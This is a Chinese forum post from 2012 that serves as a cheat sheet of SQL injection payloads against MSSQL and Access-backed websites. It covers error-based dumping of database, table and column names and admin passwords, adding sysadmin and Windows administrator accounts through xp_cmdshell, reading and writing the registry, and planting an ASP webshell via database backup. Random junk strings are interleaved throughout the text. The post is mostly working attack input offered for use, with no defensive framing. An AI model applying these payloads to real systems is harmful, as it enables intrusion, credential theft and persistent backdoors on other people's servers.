找回密码
 立即注册
查看: 2919|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 9 ]" T6 m  X5 p" t
;and 1=1
; d* {/ l( {: ]$ e8 y# e) D2 O;and 1=2 5 k8 g2 Y. F6 D+ e* K! O
3 H" @4 I* F5 R& C8 x/ I+ S$ x5 @
2.初步判断是否是mssql
+ X( A8 Y& d( J  U* }+ i# ~7 U;and user>0 ; ~; ^* ?/ z2 a  T' h7 I

- l9 f- f# F& N! n0 u6 `7 q3.判断数据库系统
% {& Z' u& O2 W" k7 w/ I;and (select count(*) from sysobjects)>0 mssql ( s/ [3 E, f9 l! N8 j
;and (select count(*) from msysobjects)>0 access
+ @  D$ a; ?% m' [
! T: _7 g, Q5 {4.注入参数是字符
6 V6 W$ s! v! c'and [查询条件] and ''='
/ f; z0 a; r( U' F# r# [9 }4 G% C# x/ {
5.搜索时没过滤参数的
8 ^# Z- X4 O7 _0 p'and [查询条件] and '%25'=' 2 ~) f/ h  {- [/ Q! w" }

; k% j& K+ H' u: r. ]1 ^7 D1 l6.猜数表名
1 p& ?( h$ j: j; ^;and (select Count(*) from [表名])>0
( y) o( g' ~2 I( Y! ~! U% f1 s9 b! u, D
7.猜字段
! T8 S% d+ M# {5 ?;and (select Count(字段名) from 表名)>0 . h5 S+ [: f+ M) a$ i9 W3 J
+ H; P# I9 o$ j4 Y" \3 L$ H
8.猜字段中记录长度
" X. R) e4 d; q) v;and (select top 1 len(字段名) from 表名)>0
( H1 k6 m3 ?4 C& l( Z9 t5 q; U! U
1 U5 ]3 {9 ?4 z, g9 |9.(1)猜字段的ascii值(access) $ _- Z; r# c5 _' r. F
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ( [: n! N  \, j
8 R+ A- l  {' O0 J# X! p7 E' E
(2)猜字段的ascii值(mssql) . S. o) r+ n! x
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ; V1 Z2 O. q* W/ k4 j

" |. D% k2 f$ ], ^10.测试权限结构(mssql)
+ D3 h+ E' i$ o" };and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 I- ^8 h1 Y# K' B0 x% B;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- # B; P9 t2 c. K" `; H2 k
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- , M" q: K2 Z8 {  L2 x
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
8 R; d' p! p# i6 S3 f, \;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 6 ]; }! @9 L. K, d$ a9 [
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
  A7 a0 D# A4 r) S# k3 `;and 1=(select IS_MEMBER('db_owner'));--
- K/ x& x6 Q4 U9 n' R+ s" n- ^% A% F! Z! R. [' ?) j- g8 r7 ?# X
11.添加mssql和系统的帐户
6 y  y3 H8 c9 Y$ E8 l. A; f/ h;exec master.dbo.sp_addlogin username;--
7 F! z) A- T# Y  N/ W% h;exec master.dbo.sp_password null,username,password;-- & t# p0 l. F( C
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- - z1 Q( [% \: Z+ M& `) V5 i
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 6 P# _4 d0 N, V
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2 M! U- _* H4 N3 z- P* U
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- " }( C+ [2 V9 Q, D+ l/ ^6 x
& d4 [' X: l/ c- n7 Y& Q
12.(1)遍历目录 * [1 f- i0 A+ G- m* K
;create table dirs(paths varchar(100), id int) 7 J6 _7 ?1 k) z; r3 K2 l& ]+ x/ f
;insert dirs exec master.dbo.xp_dirtree 'c:\' . J8 m8 E: X# _' Z& C7 y
;and (select top 1 paths from dirs)>0 0 ?6 e3 z/ a( b
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
, v% R9 E" w+ O2 F, E8 Q0 `- X7 ]2 v+ ~2 J, F" K; @: [. _3 c5 Z
(2)遍历目录 / ~0 D- i  i+ }$ h
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- % h3 Y5 B: f5 [4 X9 b2 l+ g
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
2 B5 h7 }1 O6 m  i5 ?7 o;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 5 c) F* B3 M/ `
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
7 P9 C6 t2 Z% z;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ! i' m& U; E9 N" X; G" A$ `
+ l* C  o1 Y$ Z  `, w
13.mssql中的存储过程 # j5 t6 T9 c1 O- f, O" t
xp_regenumvalues 注册表根键, 子键
! q0 j( r. v5 t8 }, C;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
6 U- I& i7 o& `3 [xp_regread 根键,子键,键值名
. E. B* R; }3 k9 E8 ^7 l2 @+ m* `;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 3 ?7 W( |8 w7 K0 g" p7 U' w
xp_regwrite 根键,子键, 值名, 值类型, 值
) o* t  Y4 u' ~& |值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 + }* W& P: w! L0 j- i- w8 `1 J
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
; C$ D, n8 j) `: G9 ~, wxp_regdeletevalue 根键,子键,值名 " k# F: d, \/ I! e! i0 e
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 # d5 ]4 V# x( O9 h7 E
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
! r& Y# j3 }  s4 w6 V; N$ U
1 y4 F! l& e4 O. E& l14.mssql的backup创建webshell 8 t% D6 q  t2 W, }. ~2 R8 Z+ J. l
use model 7 o" c+ y) I2 V2 q8 U: ?5 v+ T
create table cmd(str image); + v6 F( N8 M, G+ C" d7 |
insert into cmd(str) values ('<% Dim oScript %>');
+ J9 [/ s5 W& [backup database model to disk='c:\l.asp'; 2 e  P9 }7 b. U6 R( g% t0 g8 {
; X, K9 F, a8 c: O& o' q/ P1 v+ i& B. K
15.mssql内置函数
3 J5 d- f2 z7 R; z# G;and (select @@version)>0 获得Windows的版本号 * Z: E- U$ [3 Z1 V3 O- `
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 8 c) d5 m/ p2 B
;and (select user_name())>0 爆当前系统的连接用户
4 _2 X" o. d! {- H6 T( R;and (select db_name())>0 得到当前连接的数据库
& A% l2 h: q# b: y/ O# R+ Y
) g7 E/ D# _5 y9 k3 `2 T: Y1 x1 L" l1 s1 U6 ^9 t+ [& n  P( G' s
3 E' O$ j! e7 j6 g" a/ M
MSSQL手注暴库1 c. e  |: i/ ~, a
7 d9 {+ }& N' z, n4 ~  n
1.暴出当前表名和列名
" a- b; P0 D, Y. X1 x" [" S3 ]# Y在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。4 ^4 J: x. \5 n/ O. u
8 q* B) L+ D" A
第一.爆出所有数据库名
1 e/ y7 r' G2 |% ?. `- F利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。$ ^4 M  Z7 w8 ~9 s) s% f
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。; b, j- w$ M( ]  Y

' Y$ ?& s  i3 v) yand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
# {4 n& ]& o+ P  D& A
; S: `; H! F" E! w* J
! d8 |  O' Z) f7 U第二.爆出指定库中的所有表名# [$ c/ J- a; S+ ]1 q, Z2 `
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。" ]! @! p, i) M# l6 f! q6 ]
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
" x+ d* b( V" B) h2 r& X) {; t) n) m! v4 C) @. j
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--7 b% S# C: e0 P* U# K5 m- @
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--7 c  \/ r( R/ _; |7 C; d
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
0 p4 P0 {# K' u5 C9 u5 p" l
3 n& o( O1 x' j9 f4 c4.爆出指定表中的所有列名% a4 B6 X5 O4 Y. m& y
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
' a* U3 k8 V7 g6 x* T5 w7 S//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'$ P/ H/ d* t  f. t

+ h1 t0 \1 Z+ @1 t: E8 V( Qand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
. m! E4 X, a3 C2 ]0 P1 j3 J
0 d  N# C2 l! v( @; M# e  I再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- . @! N. e+ E: H  L  r
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。0 o4 W$ \  K) l/ F! r! i" n9 f5 \
1 M& J  J& ~4 G4 p+ ]

6 P+ |( A; b# ]7 sand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
; k" V$ \+ \# r+ [- l2 u" u" Y& `8 Y
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名- p# Z) [/ l1 N& S/ g* s6 H) k( C# L
4 |0 X3 l+ R( P/ v/ h
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- + l$ u, f1 q0 T, W) J* q0 J! U7 X3 k
! C% K3 [  D& Z, c8 V" L1 G
4 O" L1 y  O- O& _
8 q9 }$ R7 e4 {: T& d  p
5.读取指定表中的数据/ t+ J, E/ p$ {- [

3 F. h2 u/ c( `$ M& K0 Iand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
& |- }+ h( P7 H: B/ t
+ `8 U1 b* U3 e# K! |: Fand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
/ m* k& a& R9 }. Q+ W/ O& X; x) v( d/ D6 E& N1 W
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
4 v* k# a$ ]. x; H) I. ~8 N5 _
& k. J& J' U" M% y2 _* j% |* p: z$ F: G8 p5 x. B4 @( n( u
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
. e" ?6 S" r$ _5 n* `2 P# q3 L# V9 n0 c* w
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang). `/ W' a; m) E, S

7 D6 l  @% F, F  Nand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--6 R8 S7 ]* ?2 s" F
5 V2 i$ Z0 ]% ^  A5 U% r7 ?
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
) x9 W3 f/ v1 C' f2 o% G4 D5 i0 V+ p* q7 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表